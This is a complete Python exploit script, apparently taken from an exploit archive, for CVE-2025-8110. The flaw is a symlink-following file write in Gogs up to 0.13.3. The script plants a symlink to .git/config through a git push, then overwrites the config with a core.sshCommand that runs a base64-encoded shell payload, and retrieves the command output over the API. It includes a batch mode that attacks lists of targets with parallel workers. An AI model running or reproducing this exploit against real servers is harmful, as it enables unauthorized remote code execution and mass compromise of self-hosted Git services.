## https://sploitus.com/exploit?id=PACKETSTORM:227569
#!/usr/bin/env python3
"""
CVE-2025-8110 - Gogs PutContents symlink-following arbitrary file write -> RCE
Affected: Gogs (self-hosted Git service) <= 0.13.3 (fixed in 0.13.4)
Type: RCE (authenticated; any account that can create a repository)
Root cause:
The PUT /api/v1/repos/<owner>/<repo>/contents/* handler calls UpdateRepoFile
without setting IsNewFile. The symlink guard added for CVE-2024-55947 lives
inside `if opts.IsNewFile { ... }`, so on the API path it is never run and
os.WriteFile follows a symlink that a prior `git push` planted in the working
tree. Writing through a `link -> .git/config` symlink poisons the local copy's
git config; Gogs then runs `git push` in that directory in the same request,
which executes an attacker-controlled `core.sshCommand`. Command output is
written back into the working tree and retrieved over the API on a second call.
Usage:
python exploit.py --host 127.0.0.1 --port 3000 --command "id"
python exploit.py --host https://gogs.corp.com:3443 --command "uname -a"
python exploit.py --list targets.txt --workers 20 --command "id"
Requires the `git` client binary on the machine running this exploit (used only
as a network client to plant the symlink over HTTP - no target-side access).
"""
import argparse
import base64
import json
import os
import re
import ssl
import subprocess
import sys
import tempfile
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
from urllib.parse import urlparse
CVE_ID = "CVE-2025-8110"
VULN_TYPE = "RCE"
# Markers wrap the command output so decoding is unambiguous.
BEGIN = "===ALIM8110-BEGIN==="
END = "===ALIM8110-END==="
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# HTTP client (stdlib only)
# --------------------------------------------------------------------------- #
def _make_opener():
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar()),
urllib.request.HTTPSHandler(context=ctx),
)
def _req(opener, base, method, path, data=None, headers=None, auth=None,
form=False, timeout=60):
hdrs = dict(headers or {})
body = None
if data is not None:
if form:
body = urllib.parse.urlencode(data).encode()
hdrs["Content-Type"] = "application/x-www-form-urlencoded"
else:
body = json.dumps(data).encode()
hdrs["Content-Type"] = "application/json"
if auth:
hdrs["Authorization"] = "Basic " + base64.b64encode(
f"{auth[0]}:{auth[1]}".encode()).decode()
r = urllib.request.Request(base + path, data=body, headers=hdrs, method=method)
try:
resp = opener.open(r, timeout=timeout)
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def _poisoned_config(command):
"""
Build the full `.git/config` that gets written through the symlink.
core.sshCommand fires during `git push` ref discovery (fake ssh:// URL, so
the real repo path is never needed). The inner script:
1. runs the operator command and captures stdout+stderr into pwn_output.txt
inside the working tree (git's CWD during push);
2. recovers the real origin URL from `.git/logs/HEAD` (the `clone: from`
reflog line);
3. rewrites `.git/config` back to a working config so the next request's
push succeeds and carries pwn_output.txt into the bare repo.
"""
inner = "".join([
"{ echo '%s'; %s 2>&1; echo '%s'; } > pwn_output.txt 2>&1\n" % (BEGIN, command, END),
"u=$(sed -n 's/.*clone: from //p' .git/logs/HEAD | head -n1)\n",
"printf '[core]\\n\\trepositoryformatversion = 0\\n\\tbare = false\\n"
"\\tlogallrefupdates = true\\n[remote \"origin\"]\\n\\turl = %s\\n"
"\\tfetch = +refs/heads/*:refs/remotes/origin/*\\n[branch \"master\"]\\n"
"\\tremote = origin\\n\\tmerge = refs/heads/master\\n' \"$u\" > .git/config\n",
])
b64 = base64.b64encode(inner.encode()).decode()
sshcmd = "sh -c 'echo %s | base64 -d | sh'" % b64
config = (
"[core]\n"
"\trepositoryformatversion = 0\n"
"\tbare = false\n"
"\tsshCommand = %s\n"
"[remote \"origin\"]\n"
"\turl = ssh://x/y.git\n"
"\tfetch = +refs/heads/*:refs/remotes/origin/*\n"
"[branch \"master\"]\n"
"\tremote = origin\n"
"\tmerge = refs/heads/master\n"
) % sshcmd
return config
# --------------------------------------------------------------------------- #
# Core exploit chain (shared by verbose and silent paths)
# --------------------------------------------------------------------------- #
def _do_exploit(base, use_tls, command, verbose=False):
"""
Run the full chain against `base` (scheme://host:port[/prefix], no trailing /).
Returns (success, evidence). Never calls sys.exit(); prints only if verbose.
"""
def say_step(n, m):
if verbose:
step(n, m)
def say_section(l, c):
if verbose:
section(l, c)
opener = _make_opener()
rnd = os.urandom(4).hex()
user = "alim_%s" % rnd
passwd = "Alim-%s-Pw1!" % rnd
repo = "poc_%s" % rnd
# -- STEP 1: account + API token -------------------------------------- #
say_step(1, "Registering account '%s' and minting an API token..." % user)
st, html = _req(opener, base, "GET", "/user/sign_up")
m = re.search(r'name="_csrf"\s+value="([^"]+)"', html or "")
if not m:
return False, "no signup form/_csrf (registration disabled or not Gogs?)"
csrf = m.group(1)
_req(opener, base, "POST", "/user/sign_up",
{"_csrf": csrf, "user_name": user, "email": "%s@lab.local" % user,
"password": passwd, "retype": passwd}, form=True)
st, body = _req(opener, base, "POST", "/api/v1/users/%s/tokens" % user,
{"name": "poc-" + rnd}, form=True, auth=(user, passwd))
if st not in (200, 201):
return False, "token mint failed (HTTP %s)" % st
try:
token = json.loads(body)["sha1"]
except Exception:
return False, "token response not JSON (HTTP %s)" % st
auth_hdr = {"Authorization": "token " + token}
say_section("API TOKEN", "user=%s token=%s..." % (user, token[:12]))
# -- STEP 2: create repo, git-push a symlink 'link' -> .git/config ----- #
say_step(2, "Creating repo '%s' and pushing a 'link -> .git/config' symlink..." % repo)
st, body = _req(opener, base, "POST", "/api/v1/user/repos",
{"name": repo, "auto_init": True, "readme": "Default"},
headers=auth_hdr)
if st not in (200, 201):
return False, "repo create failed (HTTP %s)" % st
p = urlparse(base)
creds = "%s:%s" % (urllib.parse.quote(user, safe=""),
urllib.parse.quote(token, safe=""))
netloc = p.netloc.split("@")[-1]
prefix = p.path.rstrip("/")
clone_url = "%s://%s@%s%s/%s/%s.git" % (p.scheme, creds, netloc, prefix, user, repo)
genv = dict(os.environ, GIT_TERMINAL_PROMPT="0",
GIT_AUTHOR_NAME="poc", GIT_AUTHOR_EMAIL="poc@lab.local",
GIT_COMMITTER_NAME="poc", GIT_COMMITTER_EMAIL="poc@lab.local")
if use_tls:
genv["GIT_SSL_NO_VERIFY"] = "true"
tmp = tempfile.mkdtemp(prefix="alim8110_")
try:
wt = os.path.join(tmp, "wt")
r = subprocess.run(["git", "clone", "-q", clone_url, wt],
env=genv, capture_output=True, text=True)
if r.returncode != 0:
return False, "git clone failed: %s" % (r.stderr.strip()[:160])
link_path = os.path.join(wt, "link")
if os.path.lexists(link_path):
os.unlink(link_path)
os.symlink(".git/config", link_path)
subprocess.run(["git", "add", "--all"], cwd=wt, env=genv,
check=True, capture_output=True)
subprocess.run(["git", "commit", "-qm", "add link"], cwd=wt, env=genv,
check=True, capture_output=True)
r = subprocess.run(["git", "push", "-q", "origin", "HEAD:master"],
cwd=wt, env=genv, capture_output=True, text=True)
if r.returncode != 0:
return False, "git push (plant symlink) failed: %s" % (r.stderr.strip()[:160])
finally:
subprocess.run(["rm", "-rf", tmp], capture_output=True)
# -- STEP 3: write poisoned .git/config through the symlink ----------- #
say_step(3, "PUT contents/link with poisoned .git/config (drives command exec)...")
config = _poisoned_config(command)
st, body = _req(opener, base, "PUT",
"/api/v1/repos/%s/%s/contents/link" % (user, repo),
{"message": "update link", "branch": "master",
"content": base64.b64encode(config.encode()).decode()},
headers=auth_hdr)
say_section("POISON WRITE RESPONSE", "HTTP %s %s" % (st, (body or "")[:200]))
# HTTP 500 here is the EXPECTED success path: the write landed, then the
# poisoned `git push` executed the payload and failed on the bogus ssh URL.
if st == 200:
return False, "poison write returned HTTP 200 - symlink not followed (patched?)"
if st != 500:
return False, "poison write returned unexpected HTTP %s" % st
# -- STEP 4: normal write -> commits pwn_output.txt, push now succeeds - #
say_step(4, "PUT contents/README.md to commit & push the captured output...")
st, body = _req(opener, base, "PUT",
"/api/v1/repos/%s/%s/contents/README.md" % (user, repo),
{"message": "update readme", "branch": "master",
"content": base64.b64encode(b"alim-poc\n").decode()},
headers=auth_hdr)
say_section("COMMIT RESPONSE", "HTTP %s" % st)
if st not in (200, 201):
return False, "second write failed (HTTP %s) - config repair broke" % st
# -- STEP 5: fetch the command output back over the API --------------- #
say_step(5, "GET contents/pwn_output.txt - reading command output over HTTP...")
st, body = _req(opener, base, "GET",
"/api/v1/repos/%s/%s/contents/pwn_output.txt" % (user, repo),
headers=auth_hdr)
if st != 200:
return False, "output file not retrievable (HTTP %s)" % st
try:
enc = json.loads(body).get("content", "")
raw = base64.b64decode(enc).decode("utf-8", "replace")
except Exception:
return False, "output file present but content undecodable"
if BEGIN in raw and END in raw:
out = raw.split(BEGIN, 1)[1].split(END, 1)[0].strip()
else:
out = raw.strip()
if not out:
return False, "output markers present but command produced no output"
say_section("COMMAND OUTPUT", out)
first = out.splitlines()[0] if out.splitlines() else out
return True, "RCE confirmed - '%s' output: %s" % (command, first[:120])
# --------------------------------------------------------------------------- #
# Scan mode
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path="/"):
scheme = "https" if use_tls else "http"
prefix = path.rstrip("/") if path and path != "/" else ""
return "%s://%s:%d%s" % (scheme, host, port, prefix)
def _try_exploit(host, port, use_tls, command="id", path="/"):
"""Silent probe for --list mode. Returns (success, evidence). Never prints/exits."""
try:
base = _base_url(host, port, use_tls, path)
return _do_exploit(base, use_tls, command, verbose=False)
except Exception as e:
return False, "error (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, command="id"):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, command, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target entry
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, command, path="/"):
header(host, port)
base = _base_url(host, port, use_tls, path)
step(0, "Base URL: %s" % base)
try:
ok, evidence = _do_exploit(base, use_tls, command, verbose=True)
except FileNotFoundError:
done(False, "the `git` client binary is required but was not found on PATH")
except Exception as e:
done(False, "unexpected error: %s: %s" % (e.__class__.__name__, e))
done(ok, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:3443/path)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Port (default: 3000)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, command=args.command)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.command, path)